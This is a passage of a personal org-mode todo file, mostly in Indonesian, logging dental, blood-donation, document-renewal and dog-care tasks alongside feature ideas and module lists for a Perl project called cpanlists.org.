] jam 16.30 ke dr rosy dulu utk cabut kawatnya, baru ke dr asri\n    utk operasi tanam implan, baru balik lagi ke dr rosy utk pasang lagi kawat.\n** DONE kontrol ke \@dr rosy <2015-01-26 Sen 15:30 -7d>               :health:\n- log ::\n  + [2014-12-30 ] lihat notes/health.org\n  + [2014-09-22 ] rontgen + ganti karet, minggu depan sudah bisa pasang implan\n    di dr asri. mini implant (ukuran paling kecil).\n  + [2014-08-25 ] kontrol/dikencengin, bulan depan baru coba rontgen + pasang\n    crown\n  + [2014-07-21 ] masih dilanjutkan, biasanya 3 bulan lagi (berarti bulan 9)\n    baru difoto lagi. lagi membuka/membelokkan biar akarnya lebih ada ruang.\n  + [2014-06-16 ] foto panoramik, masih butuh space.\n  + [2014-05-22 ] kontrol V, ganti dengan square wire. keliatannya bisa lebih\n    cepat jadwalnya, sekarang ruangnya udah cukup, tapi akarnya masih belum,\n    nanti next time dirontgen lalu dilaporkan ke drg laksmi, kalo dari dia udah\n    oke maka bisa lanjut ke implant.\n  + [2014-04-21 ] kontrol IV, ganti coil.\n  + [2014-04-07 ] kontrol III, tadinya mau ganti kawat tapi karena coil gw lepas\n    selama 2 minggu lebih dan gw gak sadar, jadinya kurang bener setelannya dan\n    dilepas dulu coilnya, dicoba 2 minggu datang lagi.\n  + [2014-03-03 ] kontrol II\n  + [2014-02-03 ] kontrol I\n  + 2014-01-xx sempet datang seminggu sebelum kontrol karena sakit, nusuk2x yang\n    bawah kanan.\n** TODO donor darah <2015-06-13 Aaa .+90d>                          :charity:\n- log ::\n  - [2015-03-30 Mon] xxiv, hb 17.6, berikutnya 13 jun.\n  - [2015-01-05 Sen] xxiii 450mL (karena hb di atas 16 diminta 450mL gak\n    300mL?), berikutnya disuruh tgl 22 mar (+75d), gw juga daftar utk on call\n    donor aperesis (trombosit aja, 300mL).\n  - State \"DONE\"       from \"WISHLIST\"   [2014-09-08 ]\n  - State \"DONE\"       from \"WISHLIST\"   [2014-06-10 ]\n  - [2014-01-15 ] gw donor buat papa, memang kemaren2x gw gak donor dulu setelah\n    3 bulan karena gw takut darah gw perlu buat papa. bener aja, kali ini kepake\n    buat papa. pertama kali darah gw donor utk seseorang yang gw kenal :)\n  - State \"DONE\"       from \"WISHLIST\"   [2013-07-01 ]\n  - State \"DONE\"       from \"WISHLIST\"   [2013-02-08 ]\n  - State \"DONE\"       from \"WISHLIST\"   [2012-10-15 ]\n  - State \"DONE\"       from \"WISHLIST\"   [2012-07-01 ]\n  - State \"DONE\"       from \"TODO\"       [2012-04-02 Mon 18:38]\n  - [2012-03-20 Tue] kemaren kata dokter nanny, boleh kok donor, gak masalah.\n    yipee, jadi gw schedulein lagi deh.\n  - [2011-10-13 Thu] distop dulu sekarang, karena gw kena thyroid dan harus\n    makan obat selama 3th.\n  - State \"DONE\"       from \"TODO\"       [2011-08-25 Thu 22:15]\n  - State \"DONE\"       from \"TODO\"       [2011-06-11 Sat 23:33]\n** TODO perbarui ktp  <2019-12-10 Aaa +5y -1.1m>\n- log ::\n  + [2014-10-15 Rab] beberapa bulan lalu karena pindah rumah udah sekalian\n    diperbarui\n** TODO perbarui sim  <2019-11-10 Aaa +5y -1.1m>\n- note ::\n  + [2014-12-29 Mon] katanya nanti sejak 2015 akan ditertibkan, kalo telat lebih\n    dari 1 hari aja akan dianggap bikin baru, but i doubt this can be enforced.\n    remindernya gw majukan aja sih biar aman dari 10 des jadi 10 nov.\n- log ::\n  + [2014-12-29 Mon] done di btc, 40rb biaya cek kesehatan + 110rb = 150rb\n* person/t [0/1]\n** TODO [2014-05-19 Mon] ide hadiah ultah tomi: kacamata bagus kayak yg gw ic berlin  <2015-05-18 >\n* pet [0/0]\n** TODO [2013-12-18 Rab] ikutan milis/komunitas dog lover, ide taman private buat anjing\n- sekarang kan pemkot bandung gak welcome pet di taman manapun\n- di jkt juga nampaknya pecinta hewan lagi ngusulin ada satu taman yg khusus\n  buat hewan ke pemda jakarta.\n* pet/jinny II [1/3]\n** DONE [2013-10-19 Sab] ke dokter hewan, cek kapan tanggal mens/harus kawin jinny II\n- log ::\n  + [2014-03-30 ] ke dr ade (100rb, tapi didiskon jadi 50rb), katanya harus pas\n    udah mens baru ketauan masa suburnya.\n** TODO jinny II makan obat cacing <2015-04-20 Mon .+3m>                :pet:\n   - State \"DONE\"       from \"PENDING\"    [2015-01-20 Tue 16:39]\n   :PROPERTIES:\n   :LAST_REPEAT: [2015-01-20 Tue 16:39]\n   :END:\n- log ::\n  - [2015-01-19 ] setengah tablet (125mg/2) combantrin, sekalian buang sisanya\n    karena udah expired nov 2014.\n  - [2014-10-07 ] setengah tablet drontal plus, gw salah buka lagi yang\n    setengah, harusnya setengah yang kemaren masih ada.\n  - [2014-04-26 ] setengah tablet drontal plus\n  - [2014-01-24 Fri] 125mg/4 combantrin. disamakan aja schedulenya dengan orang\n    di rumah\n  - [2013-10-21 Sen] 125mg/4 combantrin.\n  - [2013-07-29 ] sekalian pas divaksin dikasih lagi obat cacing katanya\n  - [2013-07-21 ] combantrin 125mg/2 (agak over, harusnya 125mg/10kg)\n  - katanya anjing rata2x harus dikasih tiap 3 bulan sekali. 125mg/10kg berat\n    badan, si jinny sekitar 3kg-an berarti sepertiganya. utk manusia gw set per\n    6-12 bulan aja deh.\n  - [2013-03-24 Sun] done II, 125mg/2 (kebanyakan sih, harusnya 125mg/3 or\n    125mg/4, next time 125mg/4 krn jinny beratnya 2.4kg, lebih deket ke 2.5kg).\n  - [2012-12-18 ] done, combantrin dulu aja. 250mg/4 (agak kebanyakan, harusnya\n    125mg/3 [karena dosisnya 125mg/10kg berat badan])\n** TODO vaksinasi jinny-II III \@2th  <2014-07-28 Mon .+1y>              :pet:\n- log ::\n  - [2013-07-29 Mon] IV, dr ade tedi + obat cacing, 200rb. pas gw gak ada di rumah.\n  - [2012-07-30 Mon] III, dr ade tedi + obat cacing, 200rb\n  - [2011-07-31 Sun] II, dr ade\n  - bulan juni katanya pas sebulanan udah divaksin oleh penjualnya\n- note ::\n  - sampe umur 4th aja, setelah itu gak perlu lagi\n** xTODO jinny II estrus? (terakhir mens darah netes pertama [2014-04-20 ]) <2014-09-20 Aaa -1w>\n- log ::\n  + [2014-12-14 Sun] dinonaktifkan dulu\n  + [2014-12-08 ] sampe hari ini, gw tanya ke orang rumah, belon ada yg\n    tau/merhatiin jinny mens.\n  + [2014-06-12 Thu] yang kemaren gak hamil sampe sekarang (kalo gak salah\n    dikawininnya tanggal 16-17 apr gitu dititipin ke kebun manggu 26, pas udah\n    dibawa pulang lagi ke setrawangi baru netes dia; harusnya setelah netes hari\n    4-5 baru dikawinin), dan anyway ternyata bakal ketauan kok, ada tetesan.\n** xTODO beri obat antikutu pada jinny II <2014-11-08 Aaa .+3m>         :pet:\n- log ::\n  - [2014-12-14 Sun] gw nonaktifkan dulu, soalnya jinny ga ada di rumah sih.\n    katanya udah banyak kutu (X-X)\n  - [2014-08-08 Jum] frontline spray +- 20 pumps di punggung atas/bawah, karena\n    gw liat kutunya skr banyak\n  - [2014-05-01 Thu] si jinny masih suka garuk2x terutama bagian perutnya, gw\n    kasih frontline lagi aja di beberapa tempat, agak susah yg spray ini.\n  - [2014-04-28 Sen] frontline spray\n  - [2013-11-24 ] gw kasih frontline lagi, bekas yang beli kemaren, ampir double\n    portion, gw abisin aja semua. masih agak banyak kutu dan gw abisin sekalian\n    obatnya, nunggu pesenan nitip ke sendy (spray frontline) ke toko belum ada\n    stok katanya.\n  - [2013-10-21 Sen] dikasih frontline lagi karena kemaren gw cek masih ada.\n    update [2013-10-31 Kam]: masih berkutu, gile, udah gak efektif?\n  - [2013-09-19 ] dikasih frontline lagi karena sejak ke penitipan anjing di drh\n    alex saba, jadi kutuan\n  - [2013-07-10 Wed] sampe sekarang belum ada kutu lagi, pending dulu aja\n  - [2012-12-30 ] apply I frontline. kurang efektif juga.\n* proj/cpanlists [0/38]\n** IDEA [2015-04-07 Tue] cli: one-liner to {install,uninstall,update/upgrade} all modules in a list via cpanm\n** IDEA [2015-04-07 Tue] cli: tambah subcommand add-module-to-list, remove-module-from-list\n** TODO [2014-01-04 Sab] cli: tambah fungsi list-my-lists (created by me)\n** TODO [2014-01-04 Sab] cli: tambah fungsi list-my-fav-lists (liked by me); ini harus ada support dulu di sisi api server\n** TODO [2014-01-04 Sab] cli: tambah fungsi {like,unlike}-module, ini add module to a special list called 'Liked Modules' (automatically create if not exists, gunakan tag [special, like] supaya gampang dicari id-nya)\n** TODO [2014-01-04 Sab] cli: tambah fungsi {like,unlike}-author, ini add module to a special list called 'Liked Authors' (automatically create if not exists, gunakan tag [special, like] supaya gampang dicari id-nya)\n** TODO [2014-01-04 Sab] cli: di api server: tambah fungsi {like,unlike}-comment, ini juga nanti bisa dilakukan di cpl client\n** TODO [2014-01-04 Sab] cli: di api server: count views on list\n** TODO [2014-01-04 Sab] cli: di api server & cpl client: add sorting to list-listss, list-list-comments, list-items\n- list: at least untuk mengetahui list yang paling banyak diinclude di list,\n  list yang paling banyak dikomen, list yang terbaru dibuat, list yang terbaru\n  dicomment, dan list yang paling banyak diview (?)\n- list-comments: at least utk mengetahui comment terbaru, comment yang paling\n  banyak dilike\n- item: utk mengetahui module/author yang paling banyak diinclude di list,\n  module/author yg terbaru dimention di list.\n** TODO [2014-01-04 Sab] cli: di api server & cpl clien\n** TODO perpanjang domain: cpanlists.org  <2020-03-14 Aaa +5y -6m>   :domain:\n- log ::\n  - [2014-02-13 Thu] pertama daftarin di mwn mar 2013, ternyata cepet ya udah\n    ampir 1th lagi, projeknya belum jadi juga. gw transfer ke gkg aja deh\n    sekaligus perpanjang 1th.\n  - [2015-02-26 Thu] sudah diperpanjang 5th di gkg\n** IDEA [2015-01-20 Tue] forum tanya jawab, lalu otomatis jadi list\nmisalnya ada orang bertanya: can you guys recommend a module to do X? lalu ada\njawaban try Foo karena bla bla bla, lalu ada jawaban lain, dst. ini udah\notomatis bisa jadi list.\n** IDEA [2014-10-07 Tue] related modules: yg terdaftar di bnyk list yg sama\n** IDEA [2014-12-19 Jum] deploy or regularly publish to cpan as deployment target\nthe goal is so we can directly see it on CPAN. perhaps upload using CPANLISTS\nPAUSE account as Task modules. CPAN becomes (one of) its publishing platform(s).\nthough i don't know how many people will get pisssed by that. :)\n** IDEA [2014-12-19 ] lists of functions? (instead of lists of modules & authors)\n- can be more useful, don't you think? i like it.\n- [#C] for OO buffs, there should be lists of classes (but these mostly\n  correspond 1:1 to lists of modules)\n** IDEA [2014-12-19 ] lists of tasks (task-based lists), mirip 'so you want to ...' di amazon lists\ncontoh: how to find out if a module is a pp or xs? Module::XSOrPP, dsb. biar\ngampang disearch or grep. ini bisa list of module bs juga list of functions.\n** TODO [2013-12-06 Jum] setup cpanlists di vps digitalocean or linode?\n** TODO perpanjang ssl cpanlists.org  <2020-01-01 Aaa +5y -6m>\n- log ::\n  + [2014-12-02 Tue] gw perpanjang 5 tahun \$39,75 (kalo 1 tahun \$9) tetap di di\n    namecheap.com produk=positivessl. order=13612495. expired dari [2015-01-01]\n    jadi [2020-01-01].\n** TODO [2014-11-15 Sab] impor semua rating dari cpanratings\n- just so it can be commented.\n- give back (spam :p) to cpanratings by posting: there are comments for this\n  rating on cpanlists.org\n** TODO [2014-11-15 Sab] rss/feed rating untuk seorang author (modulenya adalah modul milik author tsb)\n- berguna utk liat apakah ada review baru untuk dirinya (di cpanratings.perl.org\n  gak bisa, harus cek tiap distribution, kalo dist nya banyak kan repot. dan gak\n  mandangin cpanratings terus)\n- ini concern yg diutarakan leon timmermans di sebuah komen di blogs.perl.org\n** TODO [2014-11-12 Rab] web interface: kalo ada review atau list yang bagus, kita bisa fav atau bookmark listnya, bisa juga fav/bookmark module atau authornya\nnanti modul atau author itu otomatis masuk favorite list\n** TODO [2014-09-21 Sun] idea cmdline client interface\n*** cpanlists review MODNAME \"isi review\"\n- masukin ke default list: Reviewed modules\n- completion MODNAME pake local perl modules\n*** cpanlists review MODNAME \"isi review\" --list LIST_NAME_OR_ID\n- masukin ke list tertentu\n- complete gunakan list yang dimiliki oleh user, cache di ~/.cpanlists/\n*** cpanlists create-list NAME\n- cache ke ~/.cpanlists/\n*** cpanlists add-to-list LISTNAME_OR_ID MOD_OR_AUTHOR [\"COMMENT\"]\n- completion ke cpan? atau gak usah dulu\n- dari list (jika ada cache data di ~/.cpanlists), bisa ketahuan apa harus\n  complete module atau author.\n*** cpanlists delete-from-list\n*** cpanlists get-list\n*** cpanlists comment-list\n*** cpanlists list-lists\n*** cpanlists list-comments\n*** cpanlists register\n** IDEA [2014-07-04 Fri] offer RSS\n- entah RSS apa, kalo perlmodules.net kan menawarkan RSS changes. kita bisa juga\n  sih menawarkan ini kalo mau.\n** TODO [2014-06-03 Tue] parse dist metadata, mis kita di dist menyebutkan some tags, maka nanti otomatis akan dibuatkan listnya\n** TODO [2014-05-30 Fri] selain private list (hanya bisa diliat oleh user), public list (bisa dilihat umum), ada juga yg group (bisa dilihat and/or dimodif oleh group)\n- biar aman, gak semua user diizinkan untuk modify.\n- contoh:\n- user yang sudah masuk group tertentu aja yg udah agak trusted misalnya. sudah\n  masuk group perl authors misalnya, yang sudah diconfirm oleh bbrp orang.\n** TODO [2014-05-30 Fri] manage juga perl dists di luar CPAN (realms?), harus ganti nama dong?\n** TODO [2014-04-03 Kam] add tags to each item in the list, so we can do this: blacklisted modules (instead, use this)\n: list: blacklisted modules (by sharyanto)\n: item:\n:   + Moose, because it's too big a startup overhead. instead of Moose, try pm:Moo\n:     or even pm:Mouse.\n:   +\n\nMoose otomatis dapet tag blacklisted, sementara Moo dan Mouse dapet tag\nalternative.\n** IDEA [2014-09-04 Thu] import 'what's new on cpan MONTH YEAR' ke cpanlists, tinggal import artikel dan search mentioned modules di article body\n** IDEA [2014-06-20 Fri] 2list (template): modules to research/compare when researching about form\n- mis: Form-Toolkit\n- untuk topik2 lain, ini (todo-)list pribadi\n** IDEA [2014-06-05 Thu] func: ekstrak self-identifying information (contact, name, email, phone, ...) dari post/teks\n- misalnya utk otomatis bikin profil user atau masukin ke database atau\n  addressbook. utk keperluan marketing.\n- kayaknya pasti udah ada yg bikin kalo beginian.\n** IDEA [2014-06-05 Thu] func: connect user profiles\n- ini mah sebenernya kerjaan sehari2nya google facebook gitu\n** IDEA [2014-06-04 Wed] more on extract stuffs from text (judul buku, nama produk, ...)\n** IDEA [2014-06-04 Wed] fokus fitur2x bahasa indonesia yg dipakai utk smartphone (bisa dibeli oleh apple, android/google)\n- mendeteksi atau kamus singkatan\n** IDEA [2014-06-01 Sun] func: apakah sebuah nama adalah nama indonesia\n** IDEA [2014-06-04 Wed] func: ekstrak nomor telp, BBM, ... dari teks\n** IDEA [2014-06-01 Sun] func: ekstrak nama orang indonesia dari teks\n- ekstrak dari addressbook\n- berguna misalnya untuk aplikasi messaging/email, bisa mendeteksi nama contact\n  dan menampilkan link utk nomor telp.\n- utk yang belum ada di contact, bisa menampilkan opsi utk add ke contacts.\n** IDEA [2014-06-04 Wed] func: ekstrak flight code dari teks\n** IDEA [2014-06-04 Wed] func: ekstrak kode tracking kurir indonesia dari teks\n- teksnya bisa disimpan utk database (improvement, dijual?)\n** IDEA [2014-06-01 Sun] func: ekstrak nama tempat indonesia (kota:bandung, tempat:borobudur, alamat, dsb) dari teks\n- berguna utk aplikasi messaging/mail, bisa add ke calendar events\n- ref: ios 8 new features\n** IDEA [2014-05-27 Tue] incremental search di client-side (seperti di github?)\n- meningkatkan convenience dan kecepatan mencari sesuatu\n** IDEA [2014-05-27 Tue] gunakan React sebagai front-end\ndari quest barekuk di questhub.io, dia pindah dari Backbone ke React:\nhttps://questhub.io/realm/meta/quest/537e2226bbd0bea71d000002\n\n: I'm officially in love with React.\n: Ok, animation and layers (popovers and tooltips) can be problematic, but good things about it seriously overweight the bad:\n: no more complicated state logic in each view\n: I'll be able to get rid of my fragile subviews implementation for Backbone\n: no more action-at-distance with Backbone events\n: I expect it to fix a lot of minor logic bugs because of the previous 3 points\n: I'll also be able to implement minor things which were complicated in Backbone, such as preloaders everywhere\n: solution for SEO issues (potentially)\n\nkalo gw baca sekilas dokumennya juga, simple konsepnya.\n** TODO [2014-05-23 Fri] blurb: supermarket API, daripada ke berbagai tempat terpisah utk API, ke satu sumber aja, lebih reliable, karakteristik fail dan performance-nya bisa lebih teratur\n** IDEA [2014-05-22 Thu] func: menghitung jarak 2 kota\n** IDEA [2014-05-22 Thu] func: (crowdsource) nopol mobil -> identitas?\n** IDEA [2014-05-21 Wed] func: harga emas historikal\n** IDEA [2014-04-29 Sel] func: data finansial report perusahaan2x\n- dalam format/struktur data yang standardized, contoh:\n- sekalian beberapa data profil utk membantu analisis keuangan, seperti:\n  kategori perusahana, jumlah karyawan, tahun berdiri, apakah TBK atau gak,\n  apakah internasional atau gak, dsb.\n: {\n:    currency => 'IDR',\n:    unit => 1000000, # dalam jutaan rupiah\n:    revenue => 25000,\n:    NIBT => 7155,\n:    income_tax => 752,\n:    NIAT => 6403,\n: }\n** IDEA [2014-04-29 Sel] func: kategori perusahaan                  :finance:\n- cari kategori standar\n** IDEA [2014-04-29 Sel] func: analisis finansial\n- berbasiskan standardisasi laporan keuangan (lihat entri todo sebelumnya) dan\n  kategori perusahaan standar.\n- hitung beberapa rasio dan kasih comment atau score atau kesimpulan.\n- sebenernya gw awalnya butuh utk secara cepat mengetahui apakah cost utk\n  gaji/karyawan udah terlalu gede. patokan untuk perusahaan IT, startup, dsb.\n** IDEA [2014-04-24 Thu] func: mengecek apakah sebuah pin bb itu android atau bb (bisakah?)\n** IDEA [2014-04-17 Thu] alias nama fungsi indonesia?\ngw cenderung ga setuju, karena selain nama fungsi, kalau mau sekalian nama\nargumen juga diindonesiakan. capek kan? mendingan kasih summary dan description\nindonesia aja yg membantu.\n** TODO [2014-04-17 Thu] show related funcs, mis: saat menghitung cicilan ada link ke fungsi2x finansial yg lain: bunga kurs bca, suku bunga SBI, ...\n- beberapa cara menentukan related funcs:\n  + kita tanam SEE ALSO manual di metadata\n  + dari user: yg memakai fungsi X banyaknya melihat/memakai fungsi apa lagi?\n  + dari kategori yang sama (keywords yg sama, tags)\n** TODO [2014-04-17 Thu] ga: func: suku bunga SBI\n** TODO [2014-04-17 Thu] ga: func: fungsi untuk menghitung cicilan rumah\n** TODO [2014-04-11 Fri] ga: func: list debian releases (beserta codenames)\n- data ada di gudangdata (atau di proyek data internasional)\n- gw selalu lupa dan pengen bisa ketik \"list-debian-releases\"\n- lakukan juga utk release ubuntu dsb\n- ada data minor releases, tapi by default gak ditampilkan\n** BUG [2013-08-07 Wed] peri-run http://cpanlists.org/api/ gak jalan?\n** TODO [2013-09-05 Thu] use periai's {allow,deny}_paths for security\n** TODO [2013-08-07 Wed] pindahkan cpanlists.org ke vps dan belikan ssl cert.\n- supaya bisa ssl cert karena IP-nya dedicated.\n- sekalian nyoba nginx?\n** TODO [2014-04-04 Fri] 2list template: modules i want to checkout later (kasih shortname: 2checkout, 2co)\n** TODO [2014-03-20 Thu] cli client: bin/add-module-to-cpanlist\n- by default pilih list default tertentu dengan nama XXX\n** TODO [2014-03-20 Thu] cli client: bin/star-module\n- dimasukin ke list XXX\n** TODO [2014-03-20 Thu] cli client: bin/unstar-module\n- dikeluarin dari list XXX\n** TODO [2014-03-20 Thu] tutorial/tips: install all modules mentioned in a list\n: % list-... | xargs cpanm -n\n** TODO [2014-03-20 Thu] website: link to cpanratings\n** TODO [2014-03-20 Thu] fitur utk clone list (dengan item2x-nya, atau hanya title+description)\n- enak kalo orang ingin create similar list, tinggal kopi dan isi item2 yang disukai\n** TODO [2014-03-04 Tue] create another type of list: todo list, mau bikin modul apa aja\n- nama modul bisa dibuat, tapi ini masih tentative, belum konek ke cpan.\n** TODO [2014-03-04 Tue] a module to generate neilb-style module reviews from a cpanlist [#C]\n- tabel daftar modul yang dimention beserta versi terakhir, tanggal rilis\n  terakhir, author, number of deps, number of rev deps, ...\n** TODO [2014-03-04 Tue] sintaks shortcut utk refer ke author \@AUTHOR?\n- sintaks resminya adalah cpan:// ?\n** TODO [2014-03-04 Tue] sintaks shortcut utk refer ke modul ::Foo?\n- sintaks resminya adalah pm:// kan?\n** WISHLIST [2014-02-16 Min] setiap list ada source url, nanti bisa secara berkala diupdate/reimport dari source tersebut\n- ada pilihan utk import daftar modulenya aja?\n** TODO [2014-02-16 Min] 2lista: favorite authors\n- MIYAGAWA: for psgi/plack and cpanm\n- TOKUHIROM: some of his modules help offline development & deployment a lot:\n  orepan/orepan2 for easily creating a cpan-like mirror (your own darkpan),\n  cpan-outdated to update your perl modules from any cpan or darkpan mirror.\n** IDEA [2014-02-14 Fri] let users search modules/lists di website, trus rekam kata2x kuncinya, trus correlate dg yg dia klik\n- untuk mengumpulkan data similar modules (users yang mengklik modul ini juga\n  mengklik ...). user yang menyukai modul ini juga menyukai ... user yg mention\n  module ini ...\n** IDEA [2014-01-25 Sat] a tool to import/update list of reviews on cpanratings to a cpanlist\n** IDEA [2014-01-24 Fri] a tool to import/update ++ list from metacpan into a cpanlist\n** TODO [2014-01-21 Tue] bisa atur order of items di list\n** IDEA [2014-01-21 Tue] review/comment on a single module?\n- tabel module_comment\n** IDEA [2014-01-21 Tue] review/comment on a single author?\n- tabel author_comment\n** TODO [2014-01-21 Tue] 2blog: memperkenalkan cpanlists\n- have you tried amazon's listmania / so you want to ... guide? (sedikit\n  sejarah; why it's great; and some mention why it's downplayed or phased out)\n- the idea is the same.\n** TODO [2014-01-21 Tue] script/service untuk mengconvert html page menjadi module list (either to a new list or update an existing list)\n- ada opsi utk update: hapus module2x yang previously listed tapi sekarang gak found lagi di html text\n** TODO [2014-01-21 Tue] script/service untuk mengconvert org document (or markdown document) to list (either to a new list atau update existing list)\n** TODO [2014-01-20 Mon] bikin request for list\n- perhaps just a regular list with a \"RFL: \" prefix. begitu nanti ada list yang\n  udah dibikin, si pembuat listnya bisa kirim comment or something agar RFL ini\n  nanti dihapus or something.\n** IDEA [2013-11-06 Wed] download counter\n- sediain link utk download, cuma redirect, tapi kita count.\n** IDEA [2013-11-06 Wed] view counter\n- utk mengetahui list mana yang paling popular\n** IDEA [2013-11-06 Wed] global list: Abandoned modules\n- nama di PAUSE: ADOPTME (Adoptable Modules). jangan duplicate efforst.\n- ini membantu problem di CPAN: terlalu tua, terlalu banyak modul yang\n  abandoned. perlu ada mekanisme (crowd-sourced?) utk menyatakan bahwa modul ini\n  sudah diabandon.\n- sekalian jadi tempat utk orphanage/adoption list.\n- tiap modul di sini perlu ada vote dan comment utk memperkuat statusnya.\n** IDEA [2013-11-06 Wed] selain vote up, perlu ada vote down juga untuk modules\n- contoh: satu modul jadi popular tahun 2013, ada 100 vote ups.\n- pelan2x module ini abandoned. sebagian user mencabut votenya tapi *sebagian\n  user lainnya juga jadi gak aktif*. akibatnya banyak vote2x stale.\n- user2x baru yg masih aktif perlu bisa membalance vote ini dengan memberikan\n  downvotes. supaya rating module jadi turun seiring statusnya yang juga udah\n  stale/abandoned.\n** IDEA [2013-11-06 Wed] global list: modules voted for deletion\n** IDEA [2013-11-06 Wed] create request for list?\n- atau bisa aja sih kita create public list yg kosong, agar orang bisa take\n  over.\n** TODO [2013-11-06 Wed] provide rss feed\n- newest comment\n- newest list\n- newest or updated list\n- recently updated list\n- newest mentioned list\n- newly mentioned module (baru pertama kali modul ini dimention di sebuah list)\n- watched module\n- watched author\n** TODO [2013-11-06 Wed] list khusus: Modules to avoid. Authors to avoid. [#C]\n- hati2x jangan bikin fitur seperti ini, acid...\n- tapi in general gw setuju dengan downvotes.\n** TODO [2013-11-06 Wed] list khusus: Watched modules? Watched authors?\n- rss feed tiap kali ada komentar atau list baru yang mention/include modul ini?\n- rss feed tiap kali ada rilis baru? ini utk membantu kita mengamati\n** TODO [2013-11-06 Wed] list khusus: Liked/Starred modules (gak tau ya pake istilah apa, berhubung Liked itu maybe di-trademark sama facebook?)\n** TODO [2013-11-06 Wed] list khusus: commented modules, commented authors\n- ada plugin/extension browser that lets us easily take notes on a module or an\n  author, semua masuk ke list ini\n** TODO [2013-11-06 Wed] create lists of lists?\n- to categorize lists\n** TODO [2013-11-06 Wed] rate a list\n- supaya list yang bagus2x dan popular yang akan naik ke atas\n- rate as \"helpful\"\n** TODO [2013-11-06 Wed] create lists of authors\n- favorite authors\n- themed collections of authors\n- give notes for each authors\n** IDEA [2013-11-03 Min] a quick way to give stars to modules (1-5), sekarang di cpanratings kurang banget, karena harus nulis review\n** TODO [2013-11-02 Sab] permission list\n- add: only me, every member\n  edit: only me, every member\n  delete item: only me, everyone\n  view: only me, everyone\n** TODO [2013-10-01 Tue] default list: interesting/to look later/default bookmark\n** TODO [2013-09-23 Sen] should a list be able to contain another list?\ncontoh: enhancements to carp bisa include other lists like enhancements to\ncarp::always.\n** IDEA [2013-07-19 Fri] allow users to take a personal note of modules\n- by default masukin ke list 'Notes' atau 'Steven Haryanto's notes'.\n- gw pengen saat ngebrowse modul2 di CPAN bisa nambahin notes tentang modul ini,\n  apakah ingin/bisa gw pake atau gak, dsb.\n- udah gitu saat gw browse, gw bisa liat notes orang lain (jadi by default,\n  notes orang pada langsung otomatis diview).\n- contoh:\n\n: App-dux\n:   ...                Dependencies\n:   ...\n:   ...\n:   ...                CPANLists\n:  ....                . modul ini bagus sih, tapi gw gak bisa pake karena pake moose, andai bisa pake moose ([note] from SHARYANTO)\n:  ....                . cool!\n:  ....                . included in these lists\n:  ....                  * [Cool applications], by SHARYANTO (10 items)\n:  ....                  * [Applications/modules which mimic Unix utilities] (5 items)\n:  ....                  * [What you\n:  ....\n:  ....\n:  ....\n- list ada status is_notes yang artinya list ini adalah\n** IDEA [2013-07-19 Fri] [#A] daripada gw bikin website, gimana kalo gw cuma bikin addon browser aja utk ditampilin di metacpan\n** IDEA [2013-07-18 Thu] allow users to store their favorites (++ like in metacpan) in cpanlists, but with categories and comments\ndengan chrome/browser extension atau userscripts? saat ngebrowse di metacpan,\nada tombol/link utk add ke my cpanlists, langsung ada popup my fav lists yg mana\naja, + some komentar.\n** IDEA [2013-07-18 Thu] allow users to vote modules too, ++ DAN --\ni want people to be able to vote down, like in reddit\n** IDEA [2013-07-18 Thu] vote down a list, comment\n** TODO [2013-05-16 Thu] permission, set list view=public/private, edit=public/private/friends*/commenters (kita bisa mengeset apakah ingin list kita bisa diedit orang lain [semua user, atau friends aja, atau approved commenter aja, atau kita/creator aja])\n** TODO [2013-03-16 Sat] web: login via bitcard\n** TODO [2013-03-16 Sat] secara berkala refresh item (mis: 3bln+) agar jika terjadi penghapusan modul atau pergantian abstract, bisa dapet\n** TODO [2013-04-02 Tue] table_column_formats: wrap comment\n** TODO [2013-04-02 Tue] dfpc: default format kenapa gak lagi pretty?\n** TODO [2013-04-25 Thu] ambil data cpanratings\n** TODO [2013-04-25 Thu] ambil data ++ metacpan\n* proj/cpanlists/ideas/lists [0/25]\n** TODO [2015-03-24 Tue] 2cpanlist: modules for keyword API\n- Parse::Keyword\n- Keyword::Simple\n- Keyword::API\n** TODO [2013-04-17 Wed] 2cpanlist:  alternatives to printf\n- the main complain is lack of named argument support\n- String::Print, String::Formatter?\n- Text::sprintfn\n- benchmark it\n** TODO [2013-04-17 Wed] 2cpanlist:  list of one-letter/single-letter cpan modules\n- L\n- U\n- B (perl compiler)\n- V\n- P (meh)\n- ...\n** TODO [2013-04-17 Wed] 2cpanlist:  list of modules containing one-letter programs\n- App::p\n\n** TODO [2013-04-10 Wed] 2cpanlist:  format bytes (KB/MB/etc)\n- Number::Format - cuma bisa K, M, G\n- Format::Human::Bytes - gak ada mili ke bawah\n- Number::Bytes::Human - gak ada mili ke bawah, tapi ada parse_bytes()\n- SHARYANTO::Number::Util - provide prefix for m, mikro, etc (tapi strictly\n  mengikuti SI, jadi k bukan K, lalu ada greek letter mikro)\n** TODO [2013-11-06 Wed] 2cpanlist:  async IO framework\n- IO::ASync\n- AnyEvent\n- POE\n- ...\n** TODO [2013-11-06 Wed] 2cpanlist:  parser toolkits\n- Marpa\n- Parser::RecDescent\n- Parser::MGC\n** IDEA [2013-11-05 Sel] 2cpanlist:  author prefixes\n- SHARYANTO::\n- ...\n** IDEA [2013-11-05 Sel] 2cpanlist:  term::shell vs term::shellui vs ...\n- Tickit - ini ga pake curses tapi pake libtermkey + ubi. looks cukup rapi,\n  modern, maintained. full-screen, multiple window (bisa saling tumpuk dan\n  lower/raise window),\n- Inline::Python + curses library di python?\n** TODO [2013-11-04 Sen] 2cpanlist:  review aplikasi berbasis curses di cpan\n- lihat notes/technical.org dan posting perlmonks gw, gw pernah compare beberapa\n** TODO [2013-11-02 Sab] 2cpanlist:  incremental backup system\n- ada buanyak, rata2x berbasis rsync + hardlink. this is not to count countless\n  others not perl-based.\n- File::RsyBak - mine, have been in production (in spanel, ...) since ...\n- App::sibs\n- ...\n** TODO [2013-10-18 Jum] 2cpanlist:  regex-based parsers\n- org::parser\n- ledger::parser\n- ...\n** TODO [2013-10-18 Jum] 2cpanlist:  parsers that are single regex\n- Language::Expr?\n- http://www.perlmonks.org/?node_id=995856 (perlu dipackage dulu jadi modul)\n** TODO [2013-10-06 Min] 2cpanlist:  perl interactive debuggers\n- devel::hdb\n- devel::ptkdb\n** TODO [2013-09-23 Sen] 2cpanlist:  enhancements to carp\n** TODO [2013-09-23 Sen] 2cpanlist:  enhancements to carp::always\n** TODO [2013-09-10 Tue] 2cpanlist:  alternative untuk win32\n** TODO [2013-09-10 Tue] 2cpanlist:  module2x (dist2x) yang menyediakan utility nifty\n- mpath dari Module::Path\n- mversion dari Module::Version\n** TODO [2013-08-09 Jum] 2cpanlist:  term::shell (orig, ::enhanced, ::multicmd), term::shelly, term::shellkit, term::shellui, 